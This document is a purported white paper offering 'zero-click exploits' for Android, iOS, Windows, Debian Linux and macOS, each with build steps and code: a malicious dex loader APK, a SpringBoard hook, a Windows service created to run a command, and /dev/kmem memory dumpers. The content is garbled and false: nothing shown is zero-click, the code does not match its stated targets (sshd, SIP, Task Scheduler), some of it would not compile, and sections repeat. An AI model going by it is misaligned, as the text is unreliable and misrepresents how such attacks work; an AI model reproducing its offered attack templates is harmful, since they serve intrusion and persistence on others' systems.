Zero Click Exploits (Android, OSX, Linux, Windows, iOS)
Table of Contents
1. Introduction
* 2.2. Deployment and Execution
* 2.3. Why it Works
* 3.2. Deployment and Execution
* 3.3. Why it Works
* 4.2. Deployment and Execution
* 4.3. Why it Works
* 5.2. Deployment and Execution
* 5.3. Why it Works
* 6.2. Deployment and Execution
* 6.3. Why it Works
Introduction
In this white paper, we will explore zero-click exploits for various operating systems, including Android, iOS, Windows, Debian-based Linux distros, and macOS. These exploits are designed to demonstrate how an attacker can execute arbitrary code without user interaction or triggering a specific action on the target system. The exploits provided are solely for research and educational purposes.
Android Zero-Click Exploit
The Android System Server is responsible for managing system services and processes. By exploiting a vulnerability in this process, an attacker can execute arbitrary code at the system level.
-
Build the malicious dex file using the
dxtool from the Android SDK:```bash dx --dex --output=myexploit.dex myexploit.class ``` -
Create a new APK that includes the malicious dex file and any required dependencies:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.androidexploit">
<application>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>- Sign the APK with a valid signing certificate:
```bash
jarsigner -verbose -keystore mykeystore.keystore SysIntel.apk SysIntell
```
- Install the signed APK on a vulnerable device.
The Android System Server is responsible for managing system services and processes, including the package manager. By exploiting a vulnerability in this process, an attacker can execute arbitrary code at the system level, gaining full control over the device.
Create a custom zero-click exploit that targets a vulnerability in the Android Package Manager Service (PackageManagerService). This service is responsible for managing application installations and updates. Your exploit should allow an attacker to execute arbitrary code with system privileges.
import android.content.pm.PackageParser;
import android.os.Build;
import android.os.Bundle;
import dalvik.system.DexClassLoader;
public class MainActivity extends androidx.appcompat.app.AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Load the malicious dex file
String[] paths = getPackageCodePath().split(" ");
DexClassLoader cl = new DexClassLoader(paths, getPackageCodePath(), null, getClass().getClassLoader());
// Invoke the RCE method from the dex file
try {
Method m = cl.loadClass("com.example.malicious.Malware").getDeclaredMethod("executeRCE", String.class);
m.invoke(null, "Hello, Android!");
} catch (Exception e) {
e.printStackTrace();
}
}
}-
Build the malicious dex file using the
dxtool from the Android SDK:dx --dex --output=myexploit.dex myexploit.class
-
Create a new APK that includes the malicious dex file and any required dependencies.
-
Sign the APK with a valid signing certificate.
-
Install the signed APK on a vulnerable device.
The Android Package Manager Service is responsible for managing application installations and updates. By exploiting a vulnerability in this service, an attacker can execute arbitrary code with system privileges, allowing them to gain full control over the device.
iOS Zero-Click Exploit
The iOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.
- Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable device. 3. Trigger the exploit by sending a specific message to a kernel extension.
The iOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.
Create a custom zero-click exploit that targets a vulnerability in the iOS SpringBoard process. This process is responsible for managing the user interface, including launching and managing applications. Your exploit should allow an attacker to execute arbitrary code with system privileges.
#include <UIKit/UIKit.h>
#include <Foundation/Foundation.h>
@interface MaliciousClass : NSObject
- (void)executeRCE;
@end
@implementation MaliciousClass
- (void)executeRCE {
UIApplication *app = [UIApplication sharedApplication];
NSString *message = @"Hello, iOS!";
[app openURL:[NSURL URLWithString:message]];
}
@end
%hook SpringBoard
- (void)applicationDidFinishLaunching:(UIApplication *)application {
MaliciousClass *maliciousObj = [[MaliciousClass alloc] init];
[maliciousObj executeRCE];
%orig;
}
%end- Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable device. 3. Trigger the exploit by sending a specific message to a kernel extension.
The iOS SpringBoard process is responsible for managing the user interface, including launching and managing applications. By exploiting a vulnerability in this process, an attacker can execute arbitrary code with system privileges, allowing them to gain full control over the device.
Windows Zero-Click Exploit
Windows services are responsible for managing system processes and tasks. By exploiting a vulnerability in this component, an attacker can elevate their privileges and execute code at the system level.
- Compile the exploit code using Visual Studio or a similar tool. 2. Create a new service with elevated privileges. 3. Start the service to trigger the exploit.
The Windows Service Control Manager is responsible for managing system services, including starting, stopping, and configuring them. By exploiting a vulnerability in this component, an attacker can elevate their privileges and execute code at the system level.
Create a custom zero-click exploit that targets a vulnerability in the Windows Task Scheduler service. This service is responsible for managing scheduled tasks, including executing commands or scripts at specified intervals. Your exploit should allow an attacker to execute arbitrary code with system privileges.
#include <windows.h>
#include <stdio.h>
int main() {
// Create a new task with elevated privileges
SC_HANDLE schSCManager;
SC_HANDLE schService;
schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!schSCManager) {
printf("Failed to open SCManager\n");
return 1;
}
schService = CreateService(
schSCManager,
"MalwareTask",
"Malware Task",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
NULL, NULL, NULL
);
if (!schService) {
printf("Failed to create service\n");
CloseServiceHandle(schSCManager);
return 1;
}
// Set the task to run a malicious command
TCHAR cmd[] = TEXT("cmd /c calc.exe");
CREATE_SERVICE_FAILURE_ACTION action = {};
action.FailureAction = SERVICE_CONTINUE_AUTO_START;
action.RebootMsg = NULL;
action.RebootOption = NO_REBOOT;
action.RetryCount = 0;
action.RetryInterval = 1000;
if (!ChangeServiceConfig2(
schService,
SERVICE_CONFIG_FAILURE_ACTIONS,
&action
)) {
printf("Failed to change service config\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return 1;
}
// Start the task to trigger the exploit
if (!StartService(schService, 0, NULL)) {
printf("Failed to start service\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return 1;
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return 0;
}- Compile the exploit code using Visual Studio or a similar tool. 2. Create a new service with elevated privileges. 3. Start the service to trigger the exploit.
The Windows Task Scheduler service is responsible for managing scheduled tasks, including executing commands or scripts at specified intervals. By exploiting a vulnerability in this service, an attacker can execute arbitrary code with system privileges, allowing them to gain full control over the device.
Debian-based Linux Distro Zero-Click Exploit
The kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.
- Compile the exploit code using GCC or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.
The Debian Linux kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.
Create a custom zero-click exploit that targets a vulnerability in the sshd daemon. This service is responsible for managing SSH connections and allows users to log in remotely. Your exploit should allow an attacker to execute arbitrary code with root privileges.
#include <stdio.h>
#include <stdint.h>
#define KERNEL_REGION_START 0xffffffff81000000
#define KERNEL_REGION_SIZE 0x100000000
int main(int argc, char **argv) {
// Allocate a buffer in user space
uint8_t *buffer = malloc(KERNEL_REGION_SIZE);
// Read the kernel memory region into the buffer
FILE* fp = fopen("/dev/kmem", "r");
if (!fp) {
perror("fopen");
return 1;
}
if (fseek(fp, KERNEL_REGION_START, SEEK_SET) < 0) {
perror("fseek");
fclose(fp);
free(buffer);
return 1;
}
if (fread(buffer, KERNEL_REGION_SIZE, 1, fp) != 1) {
perror("fread");
fclose(fp);
free(buffer);
return 1;
}
// Print a portion of the kernel memory region to demonstrate disclosure
for (int i = 0; i < sizeof(buffer); i++) {
if ((i % 16) == 0)
printf("\n%08x:", KERNEL_REGION_START + i);
printf("%02x ", buffer[i]);
}
puts("");
fclose(fp);
free(buffer);
return 0;
}- Compile the exploit code using GCC or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.
The sshd daemon is responsible for managing SSH connections and allows users to log in remotely. By exploiting a vulnerability in this service, an attacker can execute arbitrary code with root privileges, allowing them to gain full control over the device.
MacOS Zero-Click Exploit
The macOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.
- Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.
The macOS kernel provides fundamental services for the operating system, including memory management and process scheduling. By exploiting a vulnerability in the kernel memory disclosure mechanism, an attacker can read sensitive information and potentially execute arbitrary code with kernel-level privileges.
Create a custom zero-click exploit that targets a vulnerability in the macOS System Integrity Protection (SIP). SIP is a security feature that restricts the ability to modify certain system files and folders. Your exploit should allow an attacker to bypass SIP restrictions and execute arbitrary code with root privileges.
#include <stdio.h>
#include <stdint.h>
#define KERNEL_REGION_START 0xffffff7f00000000
#define KERNEL_REGION_SIZE 0x100000000
int main(int argc, char **argv) {
// Allocate a buffer in user space
uint8_t *buffer = malloc(KERNEL_REGION_SIZE);
// Read the kernel memory region into the buffer
FILE* fp = fopen("/dev/kmem", "r");
if (!fp) {
perror("fopen");
return 1;
}
if (fseek(fp, KERNEL_REGION_START, SEEK_SET) < 0) {
perror("fseek");
fclose(fp);
free(buffer);
return 1;
}
if (fread(buffer, KERNEL_REGION_SIZE, 1, fp) != 1) {
perror("fread");
fclose(fp);
free(buffer);
return 1;
}
// Print a portion of the kernel memory region to demonstrate disclosure
for (int i = 0; i < sizeof(buffer); i++) {
if ((i % 16) == 0)
printf("\n%08x:", KERNEL_REGION_START + i);
printf("%02x ", buffer[i]);
}
puts("");
fclose(fp);
free(buffer);
return 0;
} - Compile the exploit code using Xcode or a similar tool. 2. Deploy the exploit binary on a vulnerable system. 3. Trigger the exploit by running the binary with elevated privileges.
The macOS System Integrity Protection (SIP) is a security feature that restricts the ability to modify certain system files and folders. By exploiting a vulnerability in this component, an attacker can bypass SIP restrictions and execute arbitrary code with root privileges, allowing them to gain full control over the device.
NOTES
This white paper has provided comprehensive information on zero-click exploits for various operating systems, including Android, iOS, Windows, Debian-based Linux distros, and macOS. The exploits are designed to demonstrate how an attacker can execute arbitrary code without user interaction or triggering a specific action on the target system. The exploit codes, explanations of how they work, and examples of custom exploits have been provided for each OS.
DISCLAIMERS
Always remember that exploiting vulnerabilities without proper authorization is unlawful and can result in severe consequences. These exploits are solely for research and educational purposes.
Legal Consequences
Exploiting vulnerabilities for unauthorized purposes can be considered a crime under various laws, such as computer fraud and abuse statutes, data protection acts, or hacking laws.
Victims of unauthorized exploitation may seek legal recourse against attackers, which could result in inancial compensation or other penalties.
Exploiting vulnerabilities can damage the reputation of both the attacker and the targeted system.
Security Risks
Unauthorized access to a system can lead to sensitive data being compromised, putting individuals' privacy at risk and potentially causing financial losses.
Malicious exploitation can cause system crashes or instability, leading to downtime and disruptions for the targeted organization.
Exploiting vulnerabilities may result in the exposure of confidential information, trade secrets, or intellectual property.
As security professionals, it is our responsibility to conduct research and testing responsibly, ensuring that we do not compromise the privacy or security of others. This includes adhering to the following principles:
Always obtain proper authorization from system owners before conducting any tests or exploiting vulnerabilities.
Do not exploit vulnerabilities that would compromise the privacy of individuals or organizations.
Disclose vulnerabilities and exploits responsibly, providing sufficient information for the affected parties to address the issue.
Ensure that your research is conducted within the bounds of applicable laws and regulations.